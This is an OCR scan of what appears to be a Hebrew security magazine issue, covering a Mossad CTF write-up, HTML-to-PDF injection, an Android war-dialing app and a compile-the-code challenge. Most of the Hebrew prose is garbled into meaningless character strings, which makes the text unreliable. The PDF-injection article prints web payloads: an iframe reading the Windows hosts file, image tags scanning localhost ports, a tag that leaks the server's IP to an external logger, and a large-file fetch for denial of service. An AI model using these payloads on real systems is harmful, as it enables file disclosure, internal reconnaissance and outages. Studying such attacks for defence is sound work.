wnnwin? Wiresharknx 193;71 T~ ,nwion RSALI® NNon 117 W' I'WdYI Secretnn*n [OX NNO'on

.(Edit-> Preferences> Protocols> SSE> Edi) n1oximn nniaynn nx o7 'm 1n

SES "|  secure sockets Layer

sFlow

SGSAP RSA keys list Edit...

SIGCOMP S5L debug file

SIMULCRYPT

Sp | | Browse...

SKINNY Reassemble S5L records spanning multiple TCF segments

zm:l Reassemble 551 Application Data spanning multiple S5L records

SMEBDirect M 551 Decrypt ? *x

SML

mii IP address Port  Protocol Key File Pass

SNA 192,168.200.136 990 tcp C:/Pentest/Challenges/Mossad2017/Files/pkey~/pkey_dec

SNMP

Soulbeek

SoupBinTCP

SPDY

SPRT

SRVLOC

SSCOP

55H e =

SSL

STANAGS08IY +| — | G lusers [zait 2 [Roaming |Wireshark s/ ke
< >

Cancel Help

Help

D'NXIN DNIX ,NI9XINN NNIAVNA D2'yn DNAT wony nm y'an Wireshark nx DN2a91'?Y¥ "NKX

TN NTIRON DX [oN NKYI YAl 11avn? nTyvinw FTPRaayn

58 4f 52 54 28 31 39 32 2c 31 36 38 2c 32 3@ 30 PORT 192 ,168,20@
2c 31 33 34 2c 31 38 33 2c 39 35 ed @a ,134,183 ,98..

N'YNIA1IRYT IMIX DA 9ol TX ,(183*256+98 46946 yaipn 1Ay 12 VIS YIARY? DTV IT ATIRD

2277 N2 YAl AT'R 2N N0 NNRY'ON Y

M 551 Decrypt ? X
IP address Port Protocel Key File
192.168.200.136 990 tcp C:/Pentest/Challenges/Mossad2017/Files/pke
192.168.200.134 | 46946 tep C:/Pentest/Challenges/Mossad2017/Files/pke
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-1 "tcp.port == 4694610%'9n0 NITYa 12y yalp NT'R 71T 1'wdy Wiresharknx 19177 invo
:follow ssl stream

M Wireshark - Follow SSL Stream (tcp.stream eq 7) - message - O X
A B AV [Content_Types].xml =
((cocoo00cmca00000000000000000005000505000050005050503055 0005050305555 050555030555505050503550550505030055555050505505050505030052505050
..................................................................... T.n.@..M.?D.V..CUU..].-...L<!. .my

T df3ac00000 $4noo0000 00 21] 500000 {ocooHooooscos Tooooooo .3
ORb*B.8...2)]| ENaooofooooo (boooooo £245 oA § 0 0™Vo “ 000 0 00 ol ArEg Tl o BB Fo®o T o olfo ofbs o ot Mo qDl....?.tﬂ ...... *f.;
JA..CB%$....g5.k.MmQ6. .
r‘els/ rels e
....................................................................................................................................... v
1 dlient pkt, 0 server pkts, O tums.
Entire conversation (10 kB) A Show and save data as ASCIL -
Find: ‘ | Find Mext
Filter Qut This Stream Print Save as... Back Close Help

MIYNN NX 17ap1 file-a wnnwn%? Tan D X a7 XISX yalpa "arme 'nat 'y TN

DYWA yalgn DX vl Raw-7 Show and save data-asnx g+*7n nyd .Microsoft Excel 200¥
.message.xIsx

"IN ...0X¥NAN 7Y DMY'NRn NN 22w Y 0'fniaa 0nnnn AN NN IN'YA IND AR Yapmn

DY LOLN NK Y7N7 NOY'W ¥ TIP AN L(72 |9I¥) TOINN 7w VORLA NIMIRN 7Y DMIP'NAN 17X
R aRbINY

from openpyx| import load_workbook

wb = load_workbook('message.xlsx', read_only=True)
ws = wb.get_active_sheet()

result =[]
with open(‘abcd', 'r') as abcd_file:
abcd = abcd_file.read()
for price in map(lambda r: r[1].value, list(ws.rows)[1:]):
result.append(abcd[price])

print "".join(result)
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NAnNXN DX N0 ,Nn'wnn q107 Iw'pn InTY /challenge3/a2fd x'n nx¥INN

FXol A

Reverse ,Web Application Securityiad .0minn nndI NN YT WATE TIKA (AR ' JANKRD

v

q90NWD DA XY IND TAY NIA D AXM LTIV Ninwn ninon L, Operation SystemsEngineering

A0 AT 1D I9NNYAY D'YNNhwNn

'Y DIPNA J NAanNKN DX NIN9Y 11301 DN '9) NIN9Y WNNAN NN DNINY DI N

... MY N'78D 0'9011 DNANN

Thank you for playing

It was a pleasure...
See you again next time ;)
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https://qgithub.com/zed0xff/zsteqg

https://pypi.python.org/pypi/uncompyle6/

https://support.citrix.com/article/CTX116557

https://en.wikipedia.org/wiki/ICMP_tunnel

https://en.wikipedia.org/wiki/Beale ciphers

= 4 4 A4 A -

https://openpyxl.readthedocs.io/en/default/

Fd. X1 s

~

2Nl Securityn np'7nna IronSourcennana - Reverse Engineerig ninna oy :D4D

DT R NNRODY NI YT IR W'Y NIRY 707 nimani awnn frnun 1ipny
#reversingynya Nix7w IRGhnw 0

www.cheats4gamer.COrMnNXa IX - O

Jllcashall@gmail.com?'n'xn namMda IX 0

.Open Sourcani F5 Networkshmana yn nnoax jpn : RealGamg -+ 4 ¢ ¢ _ x -

http://www.RealGame.co.ilvlhnv'x "nX 0

realgam3@gmail.con''x 0

https://github.com/realgam3:GitHub o
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PDFL. «x <4 . % s q <. 111

TRY [12' INN

ASN

?"Export to PDFImo22 on%jnal 01101'K2 DNW71 NINNKN DY9] 'Nn

DY M71919 NN XINY DTAIVN Nyl NN DIJ'1|70'7 17 D12 ,NIMODON NINKA X¥NIY 1'X0'9N
TVI NI'MNAN NN, NIF011'D NIdWNAN 7nn .0NNK 7w 2N AN IMIXR NIXnY NI NIINNXRN

.(Dd7¥ 7120 7w ANKRN DX 21727 DIATIA) DT IND [DIN NNNT

-0 Y2172 YIR ATINY PINNN 270 7Y N0™MY Y7 w2 avna MYpna L Myxaay NNfTh NIRrTA 190N
NTAIVN DRN 7N Yy¥annv *70nn NN G ,NinN Niawnnl annt Mk 72ain 12T PDF
?n12an "7 2NN 10 9I0 "M 709'PNN 2NN X 2'NTN )'70N2 21ivn e 07w

JRIYRIN NIRYUN MY 7V I 197 NOIX NT 1NNN2

._ss 4L

INXPZY7ONN NWA VXN X2 '70Nn 7790 01 ,PDRFONI9? yT'n 'n NN TWUKRD
.0171M1N Tonn \ wnnwnnn NN MR VTN DR 720 1NN

S HTML?w Templaten? ymnin nx 000

JMIN'A NTI907 'RNTTH VTN DR PDINA 79nn HTMED N n7iv

.PDFyaipz n'tnni ,0opn N nwiy , HTMLEN N n'7a7n naiXnn nson

o N w N =

.PDF yaIz nx ™M ni'sn

NY7a NIYXNAXRA ,INXY INXRNN IXIN2 HTMEN X TYm nwn ,0npnnn 7702w 17 owh v ™

(ynnwnn 7¢ 791190 Ty ,|*wn NIxY) mxy? HTTP
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:PDF? yT' Ni¥" 79 007 7'70n X D

A
Site.com/GenerateReport.aspxfuserName=Inon

&Lname=Shkedy&userld=1337 D:HTML to PDF

Conversion Process

C: Custom Himl @

Fl

B:
temp.Replace(“&fName;", “Inon”);
temp.Replace(“&Lname","Shkedy");

7¢ DNn Nyy¥an NAIX'NN NNI%0n 11,4 2% KIN L RIXYD 7NN N raynn @7nn L p-1nd
2w 72212 wiornl PDF? HTMEN nimnn 71iva 021 0agny w'w M2 agnnn 17nna .PDF7? HTML

2N NIVN NMIXA DT DR NIYIVY NIN'V2AY NIAY NNANY? 0Nk qiun' "HTML 2 PDF

s ]« s X q.X

>

OP"AIN7 [N NNX 7D 2N RINA NINN 73 DX 10190 ,HTMLnon npi?7 nwyn? nannn 1'7nn
nxy2 |0 .JavaScript CS& Jnimn qx |j77n1 021 HTMLan2 nidnim nNixiovan niMson .o'knn PDF
MjP' NN XA W'NNNN 7Y yaa? 21wn 101 ,1T N1an 0oy N T2 Browserw npral? nivnnn

?nnnn 170N M7 Nt HTMLan 1 9im ox

I'2 NN ]'IID'PJ']'? Qiwn ANt KIN,D'YnNnnunnn yanv Input—n NX XD TTMM X7 nMwnl nT'Na

NPATAN NIYXNKR uxaY |NIY NI9'PNN

:(Arbitrary File Downloadnawinn n'¥apg nTin .1

YDA DIXD YAl TN N7 29 NNYORN XN L,01101'RN 2NN NIDIoONN NIY7INNN NNK
NYUNN W Yy TN QRIn7 NMYONA XY (1N 1NN 'MNVAX N DN IT DYEXIN'0
Connection Stringa™'onn N'¥IA'0IR '¥a7 ,D'WNANYNN NITIK VTN D700 A7 'Yap [nd
J'7nn? HTMLNan 2217 0721010 DX OX .D'WUNNYN 7¢ D'Y'R 0'¥3R X1 N19¥N NINN9NI

NYnnN 1MIx1d yaly TIIN7 0710 1INIX ,NINYION NIMY01 ,NNNNN
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NINAN NINANY Wnnwny [N ,ntT 211 112y
IFRAME

OBJECT {

font (CSS) 1

2 AR MYNN W2 yal Tin gpinn 1 ,PDF? vy NIX' 7w 2117 70N

Site.com/GenerateReport.aspx?userName=

<iframe src="file:///C:/windows/system32/drivers/etc/hosts” height=1000 width=1000/>
&Lname=Shkedy&userld=1337

[Custom HTML
With a malicious o
iframe tag) AN

Reads the hosts file from
the File System

—r— (&)
<html= -

<hl1>First name:&fName; </h2>
<h2=Lastname: &Lname; </h2>
</html=

‘HTTPh nupa - 'nmRn D71ynn XnarT

Mmml“ <h1>Muhshaha! <hi>
Cti0$ManContent$ctio

<iframe sre="C: windows /system 32/drivers/etc/hosts” h

Transformer | Headers = TextView

WTTP/1.1 200 OK

iCache-Control: private

IContent-Type: application/pdf; charsetsutf-8

Server: Microsoft-115/8.5

Content-Disposition: attachment; f1]enane-SNNENINORINISUNIRNNR . - :c-coc0s
Set-Cookie: fileDownload=true; pathe/

X-AspNet-version: 4.0.30319

X~Powered-By: ASP.NET

pate: Fri, 21 Apr 2017 11:12:49 GMT

KContent-Length: 67605

SyntaxView = ImageView  HexView = WebView | Auth Caching | Cookles | Raw

WPOF-1.4
%S08
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:PDFn nawn

® B8 R Q 11 R MOE® - R RE@T © 2
Muhahaha!

TSR kS

e e

[Mwinn wan yaip Dima 7onn PDFA yaip]

(o'1'RNnvo v SSREFMon nvnn ww nown .2

yan X ,0'R¥NN 1900 7w no'wn nx? ,Black Boxnixna nintn nprma Y7002 ,ormy
N71>'n N0IN NT N'MIYNYN NINTPNNA MIX TY9Y NN ,0Npnnn 7Ima 2702 .01mo '1an?

19N NWAN 701 MWD 7Y Mo yTn qiuny

NNWOXN NX 117 NINAIIT NonY? tv? a7 ,nimson 'Da "Export Injectioftn nwin

Q1 yTn avny
N7V "MAWNY NIRd0 150N

1. 47, +41.x
DRO IX NIMD VSN DX [AN7 N1 L,AxP79RN Mwn nawnn 9w Delayn 97
nwNa mdn 7w IPnamd xin nw Sourcenw ,IMG n'an 7107 n01* qEIn ,|"vn IxX7?
7N07 NX' IMIXY 01192 ,N'M1I9N
IT NYPa .wpiann akwnn 72m HTTPnwpa iy xin L, IMGn nana 790" mwin Wwnd -
.nD'wpiann Pat-ni Hostn 7im 1ix'7 noin naix'nn nsonw TCPConnection?y jyun
TCP yxa% niroa 1von 1y wxan' ,RSTartnn Tv'n DXRYLITY A'nN T'AN NIANINNN

.0n"112 ju Delayny Connection
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:PDFn yaiz nrya 17200 Delaya qpin? qpnw ntn 1'70nn ‘D
.(nmo ven) nimw 3 . 7@ Delay-7 onar - < i mg &tip:4127.0.0.1:448 |/ >
Qnovidn)nmw 5 . 7@ Delay-7 omy-<i mgsrc="http:/9127.0.0.1: 6

: Server_Th... Owveral Ela... Result Protocol
£ 116 3,224.46  0:00:29.800 200 HITP WA,
= 117 3;254.21 0:00:25.866 200 HTTP WAL

A I L R S |
7¢ "NOTOT'N NANINNN DX 7x17 *1O* objechiframe\frame-n 'opraxa wnnwnt? N
PDFN yaliz 1ma v'oin? on? nna72t HTTPaxwn? nwa? nm v ,Ninix'nn niMson
INQAIT? AThIMN

</o™bject data="hthmWiapiri2 79. 0. 0. 1: 84 4

s oL P s s ] 4 x o qY
N7 2¥N N0YYa MY 179X IPnaund 757 HTTPnwpa y¥a? nwh nna? o7 nnak
I7'ox D'NWY71 LoadBalanceriinkn nawn 7w n'mmkn IR0 namd nX Ni7a7 17 2worn
1272y X7 miyna nniopunIRa WARD ninkn
Pnmin mwn 7w IR0 namd nx ni7a? 1 IPLoggennk 7w arTkn nn'wa 'munnwn -

</i'mgsrc="https://3mhwownger. com/ 113A. C

AP-n Tyl
® Logged IF's § Export IF's @ information about logge
Select periad from  2017-04-21 to  2017-04-21 B Show oaly unique 1P [l Advanced view C
o o

Date/time 1P address Country City Device Referring pages

04,3017 15:25:48 @ |- B Uinited States
Devica i
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(DOS na'vpOX NN'Y Ny'a No'gn .3

yTn 9w TIa'wa nonim NMixnn Nimoson Ny DOSnIv'n? nwn nx nowin nwinn v
DX ,NY TIAW7 N7 DNa7 nin v *avn DX 7¥17 219 pin (TIvi 0019 ,Ninimn) aoin
NIXAN NIANNN NNXR N7Y!
Yaly TIn? mwh? onar - < /infigsre="http://download.thinkbroadband.com/1GB.zip
TR T2
onN? o7 oMt - <Jiffamesc =" htt p:/ / exampl e. corfi/l Redirecti
.DNX HTTPAR?19

.N1"M1907 N"von NnINwn Ny DOSNI9PN y¥a? T, pP-md-

?S -I“:S 'i” _”XY

077 VN7 MR X7 D71Y7 NN9N ,UO901I7 NN TRA NVIYD NI N9YPNN 19N NINRNNAN

"?0WIY D qpIn nn" - DDNXY 17RY TN .nawnn X77 n1ix'n 01907 Niginn

HTML Bcodeaion TIT'? .nannn NIMD0%7 IMNavn 197 0770 DX TTIR7 W' 0T '9'¥50 NNl

.D'71¥10 7w 07NN 2NN DX Van'l TIAY'7 1mx

X i Y X q L

Hex niyxnxa PDFA yalp DX NINDY7 VIWD 77110 MNRN WNNWN D190 TR NYT? N1 'R

:Editor

0 1 2 3 4 5 6 0123456

25 50 44 46 2D 31 2E $PDF-1. A

34 0A 31 20 20 20 6F 4.1 0 o

62 6A 0OA 3C 2C 0A 2F bj.<<./

54 69 74 6C 65 20 28 Title (

FE FF 29 QA 2F 43 72 ..)./Cr

5 7 72 20 2¢

6l T4 &F
an :

) | oy

00

10 ) 30
00 2E 00 10 32 0f
2E 00 33 00 ZE 00 32 L3002
29 0A 2F 50 72 &F 64 )./Prod
75 €3 65 72 20 28 FE ucer (.
FF 00 51 Q00 74 00 20 ..Q.t.
00 34 00 2E 00 38 00 .4...8.
2E 00 37 29 0A 2F 43 ..7)./C
72 65 61 74 69 6F 6E

reation

(Creator,Author in> nitTnnn wonY 101)

-PDF?7 xix' nya no'pn 'nown
www.DigitalWhisper.co.il
31 2017 4 83x I x 4 L ¥




Technologic

NIYIAS NIMS0 Nn'vn

Library name Local File Internal HTTP Port Scanning
Download Resources Access

Aspose V' (Vulnerable) v

IText X (NotVulnerable) X

Winnoative v v Vv

WKHTML v

RUNPDF

X 7 X x . X

210" NIXT™MD 1122102 WIM'yny ni'vanl NIY2INN 72 NX nNodn 1'NI Q7N 1'X "MOAYY VIIXA 7Nnn
no'NnN 2NN .NNLVAXRN NI'Ya7 Yana Nmyn NX 1A 2TIY TN NN "IX ,NNT QY .l]IVJn'T

0T Y'7NNY vana o TNy Dpnn NIXYY N JJavaScript CS& nidniny nind iMoo v L,71m

L, X1 s

nNaN2 T UTIND 7'n¥n NN .0 57 ang yTn nnoax gingi nnn g, 1

Linkedinix inonst@gmail.comnine? [N nonin 72y n721vw 12T 721 NI7RY ,0117'NY .Prosecs
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141 41 WarDialer

1272 [TV XN

WarDialing ni71>* nynon ,Android WarDialerowa wTn 0p'N® 'M7NNn NIyvIAYw 190n 197

TIRNTINY

nN"N N1970W noipna ,90-n1 80-nN NiwA NXIDI NNUAW 1970 i 197 nu'w n1'n Wardialing

NNDNY DYIND 21 [AXYY7 NRDND 2 L,NWYN 1 DIYPNA DR 21700

MY NINT DIV RDL 1970 117 NITRNY DRdn Xixn? X0 o T/IoETiyt-% nnima N nonn
(D"1x7¥ MW Ty Ny npi? Mpnw nnina) 07Xty e ANK? 7M1 DM X7 190n7 arn
nIoNY/ITA7 DN NIZIM NINAN W ARITAN 'WIR IX NNVAX "IN DD2AIN MY DN D'YIN'YN
NI'TAN I'N NN'WUNN NIX Y¥27 070" 'Y DTN DN'WONN NDINK NDIPN WY .| nli970n NX

NN'RNN NNNINENDIN DY D'AYNN IR (UJ'I'I'IYJ NINDLINN IX NN'YNY UXIN DI"I'I'JI)’J) n1I1970

19700 17 Dipna VolRa wnnwni Metasploitim 7x Tnikw WarVOXop'non xx' 2009niwa

.NN'YIN 190Nn"7 WpnnY
.0"71¥7% 1w NIdNY
MY

.X7N 11YY71 190NN DX INYY N1y 1IN DX

o w N =

.X2N 190NN 78 NX7N 1YY ,NONN

101 NIYYI AYURNI NIDN NNXRD ITY DYID'oON NN 7'Tan? NxN1 DX

,O79 NT DONN ,INdN2 N7V NN 2127 7'NNN%7 0*71' 11NIX ,0'0N (1970 90N NHO 11'9'NY NK
NI MNP NNTANA .AXR7N DI DI M2 071 madn (YR IR Avim 7v) “nun e
371N 721 MDA IX OTX 22 12T DXN NAXYA DNTN 17'9X1 NNIWIY NN'YN NIX 077N DA NDINN

AT NIXR [INQY71 NIO7PNYT 'TRN7 77 IRW)
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T
.DTR X71 NA"NN NN ITY 12N 21 nizpa jivon poo

.190n7 TN DMWY NNIA X7Y NN K'Y D'WIRND

.ITD> NPMoN |2xyNn7 Nilyy 011970 7w 11 1901 Nitya niNan

N'¥INT 'R 10D 1N D'P7NT7 NINNAIT NND XD DX ,NIXR'AQ 2MD1 RNV NNIYNR X'mn Tipn
X NN'Y RNINT 'R 207 DN 7Y LNy INWTM ORD 207 'R DIoN AT MINR N7 'R NN

Intent owa nam 1Ny

D'RIIPI VPR DT Intent , T'RNTINA N™MIYN DY DNXR YWPNYT DEXPY79KR 7w 0Tn oxya It Intent
NN DTYAN D-Intent NN21Iv T'RNTIX A72V9nn NdWN .Inwn? "nan" mon XNy 77212 3 17
'YINN IR 0NN AN L NIVTIN NN - 12D, NI7'WO7 DNIYpn DNATY (NIYRANY) NEXR'OKRN

JIVI

INIX NI7WU7 TRIID70N 190N NX 12 X717 ,0'0n aon Intent q1x'*7 0DMX X N7 7avaw P

NXN] N7 D .nXINN

MainActivity.java

x ]

Intent call = newntent (Intent . ACTION_CAL).
call . setData( Uri . parse( "tel:050 -000000"));
startActivity(call);

AI'NT NXWIN V0D'INA §'01 TXI .|I970 190N NTYW NNNY? Stringa o'wnnwn kv 17 m'y -
AndroidManifest.xml

<uses- permission android:name ="android.permission.CALL_PHONE" />

PIN17 TV N WUNNunaY NIMY and 7w INK? 0'vo 7'NNn7 nxa An'wn N7'NN NNR TN

NN'vwnN

NN'WN DIP70 720 TWPNN X TWUKROYW 17 'MNUY 7720 wnnwnn D117 NIMuN DX MIRWD
DIP70 712 72U NI'TOINN |2 N2YNN DTY NIA IR NIY 10D DNVOPR TNXR 71X7% Dy n7'nNn

JTYY7 nwn il 19x'79 7w nirmnY

' nis>aWarDialer
www.DigitalWhisper.co.il

v

34 2017 1 83x T x4 L ¥


https://github.com/edenberger/android-wardialer
http://stackoverflow.com/a/27601497
http://stackoverflow.com/a/27601497

Technologic

SRR MY Mna ErroFn N 7017 7awa try In'% Nt X 01011 INKY N1'90 7'nma
MainActivity.java

try {

Thread. sleep(secondsPicker . getValue();  *1000);
} catch (InterruptedException e) {

e.printStackTrace();

}

(19700 NN NN View-n NRIE XN DR YRIN KINW DT sleepoy Nindim 2aims'?a nnp'vn n'van
nnrnon N wWRd nnw Callbacka wnanwin'? X0 nt NX IN97 N1d1n T LNIYNR )

MNKR TN DONK N'X19 7'nNn%7 "WON el

,T91 Thread J1na sleepn 7710 ,pimanl arnn (MM DR DYWL X0 NN97 Afann 0T

2 wnimn wTn ThreadT®nTixa

MainActivity.java

new Thread( new Runnable() {
public void run () {
/I Code that runs on a different thread

}
b.start();

ARWK D71 Straightforwardx? X'n ,NYN2 "MR¥NY D'Y21191 'MYNANYA NN'WN IR PN17 7ava

AXRNL'AD NNIX

MIYNN DX 'MX¥N wio'n 7w 191021 Tricky 770 0 X7 I nnawa nn'wn DRN NyT? Nan v

.(hiann 2w niann nxkp = wik' nn) Stackoverflowa nann% nanna

ANX7? .(Duration) ndwnl X'n AT NNd ,NN'NON DN'YAY NNXR DT T 7Y R wIinm? 1o
NIN D'72M NNIRY YT'NNY XTI? 72w2 Ny wiw/Drny Ty ndN LpInanl 'Y NMwn

NN'YN |YUN N'n NN PITAY TRENM PTIVNN

MainActivity.java

109X INIX 7NN NINWN 7V 1'nX)
int callDuration =0;
NNNNXRN NIN'Y NN'YN NIXK K'1)
Uri contacts =CallLog . Calls . CONTENT_URI
Cursor managedCursor =this . getContentResolver() . query(contacts, null
null , null , null );
assert managedCursor != null ;
Nin'yn wn 7¥ 710N 190N NX INYA
int  durationl =managedCursor . getColumnindex( CallLog . Calls . DURATION;
NIN'YUN (wn 7¥ 110NN YT DX 0121 781 (moveTolast) nhwyiaw ninnkn nn'wa 1N
if ( managedCursor . moveToLast()) {
callDuration =managedCursor . getint(durationl);

}

managedCursor . close();

callDuration-2 wnnwn'7 "wWoKX Nnyd

NNNNKRN NIN'YN NX NI'1|7'7 NRYIN V09'IN] Q'0l 1INIX NT 7ava
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AndroidManifest.xml
<uses - permission android:name ="android.permission.READ_CALL_LOG" /> |

S« 4L, v

INNIX D'7'Y9N TWND n'x,‘z"mxn n'x1 P

po 000000
00 000000
Seconds to
wait
9
[7] stop
SCAN OPEN FILE

S2"Inn pm9on Ix 1800mM> nDINK 0M90n WWOKT? 'O Longont nitwa nitaan 'R

|Inrol NN'UN PINY MY pyad 722 vy 75,2007 'nne 19200 SCANY yn'2a1 nno yapw Ny

.T¥2 Stop

2 XY 0NN NPMoN A

09 w4
09 ==
Seconds to
Starting: wait
Trying number: 09 w4 d
Trying number: 09 5 9
09 5 answered
Trying number: 09 6 +0
Trying number: 09 7
Trying number: 09 8
] stop
SCAN OPEN FILE

nyo1 ,Documentsn''n N2 NIV [IWXIN 190NN 7w DWA YAl ¥ ,NIY DI90NNN TARYD

.D"? XINY NN YaIlrn DX NNONI 13770V [INAKRN NHLUN DX DTN X'N N1DINN DX NNY1Y NXAN
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2 NXN KN
oo Y
09 =—43
Seconds to
09 5 wait
9
[] stop
SCAN OPEN FILE

TODO © _ 1 _ ~

1w NN 0Y9PNY

.NIdN IX DTN |22 12T DR NINT?
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BT
1-Auto Dial will automatically dial a set of numbers you choose.

2-Review Numbers will review numbors that were answered by a
. compauter

3-Save Numbers will save numbars where & computer answered

4~-Hardcopy of Numbers will print aut list of numbers where a com-
puter answered

5-LOAD Numbers will load in numbers to continue whaore it left off,
6~Continue wil pick up diakng whare & was mtarrupled.

$29.95
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:NNN2 D'RNY IND D'P7N 1WA D"IWn 7¢ DNANKN DWY'DIN NTN NN

THE NATION IS |
CALLING vOLl |

E

Welcome potential member, we are the Shabhacking tean{.‘._
Our operative *R. Sanchez* was caught during a mission and i$ now
being held in an intergalactic prison. =
ARE YOU GOOD ENOUGH TO GET HIM OUT?
But first, you have to pick your speciality:

® | @

Airplane Homebase

RITdLA] nin's

99 bugs in the code™ x _ + » X

MSCALCULATION

"Staff Sergeant Foxy” Managed to get his hands on secret source code/from
3 the intergalactic prison! H
unfortunately the code does not compile, Prove yourself worthy by coipiling
& executing the project. F
— )

N7 ,NX7'onIpa NIXRAYA DX ['AN7 X'D 72000 7w nnonn 79npnn Xw T 172y ata 7anna
i i i i i

MakeMeCompile.vcxprojyaizn NX NN91 N7NNN N2 .AXAN NN'WNY NNo'on DX a7 NIR

.(vo10NP'!M 7w ANXNN TIN7 12 713' TR '7Dw) Community Editiomona Visual Studiay

11y pwnt o7 1 CTRL + Shift +¥Bi7

Error List
Entire Solution - |@® 13 Errors || £ 1 Waming | |@ 0 Messages Build + IntelliSense - Se or List P~
Code e: on Project File ne Suppression State & *
identifier s undefined MakeMeCompile MakeMeCompile 10
Main.cpp
identifier "c” is undefined MakeMeCompile «eMeCompile 28

® 'i': undeclared identifier MakeMeCompile makemecompile

® ‘i’ undeclared identifier MakeMeCompile

® ‘c: undeclared identifier MakeMeCompile ecompile 28
main.cpp

Output
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7w D207 nniwp [anaw MakeMeComplieMain.cpp'wrin yaljpa Niva w'w DRI 1INIX

.C MINYUNN 2101 | NINWNN 210 7¥ NMIWKRIN IRAWNN 7'NNA IXID,DNYNN

7 BinaryBulfer GetEncryptedBuffer() BinaryBuffer GetEncryptedBuiier()

{

std::string str = "Password”; std: :string str = "Password”;
@ for (i = 0; i < str.length(); i+s) & for (unsigned i = @; i < str.length(); i++)
i {
str(i] += 1; str[i] +=
if (str[4] 1= } if (str(4] I= 120)
{ {
return SomeFunction9936(); return SomeFunction9936();
¥ }
else else
{
2 return SomeFunction1ds(); 1 return SomeFunction1ds();
} E }

aryBuffer GetEncryptionKey()

BinaryBuffer GetEncryptionKey()

{
short i 5;

: short i
@2 c=i%s; = short ¢ = i ¥ 6;
] if (¢ » B) if (c > 6)
{ {
1 return SomeFunction1839(); 1 return SomeFunctionl1839();
2 ) }
std: :vectorcchar> v; Std: :vector<chars v;
" for (; i < 100; ++i) for (; i < 109; ++i)
s ( {
. v.emplace_back(i); v.emplace_back(i);
} v
& N
return (v.size() > 80) ? SomeFunction1362() : SomeFunctiond932(); return (v.size() > 88) 7 SomeFunctionl362() : SomeFunctiond932(); al
= } v *
6 1 2 61

D'INYNN 10 NX 7N TX i-1 C-7 210 K77 D'INwn unsigned intishort. 21w 79077 non 1'woy

Error List

Entire Solution @) 7Errors | (£ 1 Waming | (@ 0 M Build + IntelliSense

Code Description & Project File Line Suppres:

A C4244  “argument’: conversion from ‘const double’ to ‘unsigned char’, possible loss of data MakeMeCompile encryption.cpp

® g ypt(c v ed function differs only by return type from MakeMeCompile encryption.cpp
i D

direction from ‘BinaryBuffer ( MakeMeCompile encryption.cpp

of indirection from 'BinaryBuff MakeMeCompile ption.cpp

overloaded function differs only by return type from 'Bi

ryBuffer MakeMeCompile

encryption.cpp

ne must ha initi A

Output

MaloMeramnila o

.Encryption.cppyaiza nix\awn [n 'an? non X X ,7-7 1 31 n7w nik\awn 190n T 11D

10 int* Encrypt(const BinaryBuffer& plainText, const EncryptionKey& key) 210 BinaryBuffer Encrypt(const BinaryBuffer& plainText, const EncryptionKey& key)
{ " {
const auto xorKey = key[xorKeyLocation]; const auto xorkey = key[xorKeylocation];
const auto numberOfBitsToRotate = key[numberOfBitsToRotateLocation]; const auto number0fBitsToRotate = key[number0fBitsToRotateLocation];
© const BinaryBuffer result; >4 BinaryBuffer result;
do do
std: :transform( std: :transform(
plainText.begin(), plainText.begin(),
plainText.end(), plainText.end(),
std: :back_inserter(result), std: :back_inserter(result),
[&](const auto byte) [&](const auto byte)
{ {
const auto xored = byte * xorKey; const auto xored = byte * xorKey;
const auto shifted = _rotl8(xored, numberOfBitsToRotate); const auto shifted = _rotlS(xored, numberOfBitsToRotate);
return shifted; return shifted;
A A
} while (9); } while (9);
return result; return result;
) ¥
34 char® Decrypt(const BinaryBuffer& cipherText, const EncryptionKey& key) 34 BinaryBuffer Decrypt(const BinaryBuffer& cipherText, const EncryptionKey& key)
{ {
const auto xorKey = key[xorKeylocation]; const auto xorKey = key[xorKeylocation];
© const auto numberOfBitsToRotate = key[(std nusber0fBitsToRotatelocation]; 37 const auto numberOfBitsToRotate = key[numberOfBitsToRotateLocation];
t BinaryBuffer result; BinaryBuffer result;

DAY D'NIN NNIX ,DINWN 2107 DNIYWR DN DA Encryptionyalpza niwy? 0oy NNIXY DY1'WN
aon result owa nanwn 2y onnyn Decryption nexpava par Encryption nvxpaioa
TR TN (JwNN2 0*I'Y 1y XN D (const) yiap nirn'? 2150 X7 [amd nth nanwnn ,BinaryBuffer

.CONSEN NX D'PNIM 11NN
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X VWTNNY D'N¥7A90 7 nnxnn DR q'7nn7 My BinaryBuffer xin 11inw ninwnn 110 DX X
pai BinaryBuffer? int*-n natnnn a10 Nk Encryptn'xjpai9? n0'o'7nn NIX Nt nINwnn 1o

.BinaryBuffer? char*-n Decryptinyjzioa

nmnwn? (std::vector< int >) NNNN NX |7IF'|YJ'7 XIn T2 nIwy7 N7 Wxwaiv |NNXN '"'YnNY AR

v X7 X0 Encryptinrxjpama ' Decryptintyizaioa numberOfBitsToRotateLocation

[N 077N [TV 079NN 1NN

Code Description & Project File Line Suppression State

® LNK1104 cannot open file TopSecretLibDebug.lib* MakeMeCompile LINK 1

N'MI90N [AMd ,NNIX NINS7 0NN K7 NNIXE N'OVVO N'MI90 N7 W'W 117 NN ITh NR'AYA
N'VLVON N'MBON NXR 1 W' 171 Debug?w n¥1IA'911PA N0 X' NINDY N0 KINW N'0LON
.Release?w n'x1aoa17a

>

File  Edit View Project Build Debug Team Tools Test Driver Apalyze Window Help

Q T v Release x86 P Local Windows Debugger

Code Description & Project File Line Suppression State
5 This header is specific to ARM targets MakeMeCompile arm_neonh 17
® 1 mismatches detected MakeMeCompile MakeMeCompile. 1

@ mismatch detected for ‘RuntimeLibrary*: value ‘MT_StaticRelease’ doesn't match value ‘MD_DynamicRelease’ in MakeMeCompile
Encryption.obj

27U AN'ONIPN NNTAN 2 1IY Y L0R'NON NNTANT R INXY TR "Iwp X7 12D 1T nvan
Multi--n Runtime Libramn nx 97011 0j'N9n 7 NINMWOKX7 0101 |27 ,N'VVON N'"M1907 L'NON
.Multi-threaded (/MT)7 threaded DLL (/MD)

MakeMeCompile Property Pages ? X
Configuration: |Active(Release) ~ | Platform: |Active(Win32) ~ Caonfiguration Manager...
4 Configuration Properties Enable String Pooling
General Enable Minimal Rebuild No (/Gm-)
Debugging Enable C++ Exceptions Yes (/EHsc)
VC++ Directories Smaller Type Check No
4 C[C++ Basic Runtime Checks Default
General Runtime Library Multi-threaded (/MT)
Optimization Struct Member Alignment Default
Preprocessor i Security Check Enable Security Check (/GS)
Control Flow Guard

pav 1> CTRL + Shift + BY nnix 0'¥n [n INX71 NYDINN IR NINNRD DY 079107 11NN

.N2N 27¢7 nno'on X'n RoadRagenws'ny nalwnn nani ,n¥"in WNKRY7 1IXYN
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| 00 NOT MmE< MLH wTH
WATER!

Success! Well.. Kinda..
Team Airplane managed to identify the encrgptlon algorithm that the server
uses to encrypt the content from the response.
Sadly, they only know how to write pseudo code, so as a programmeﬂgou
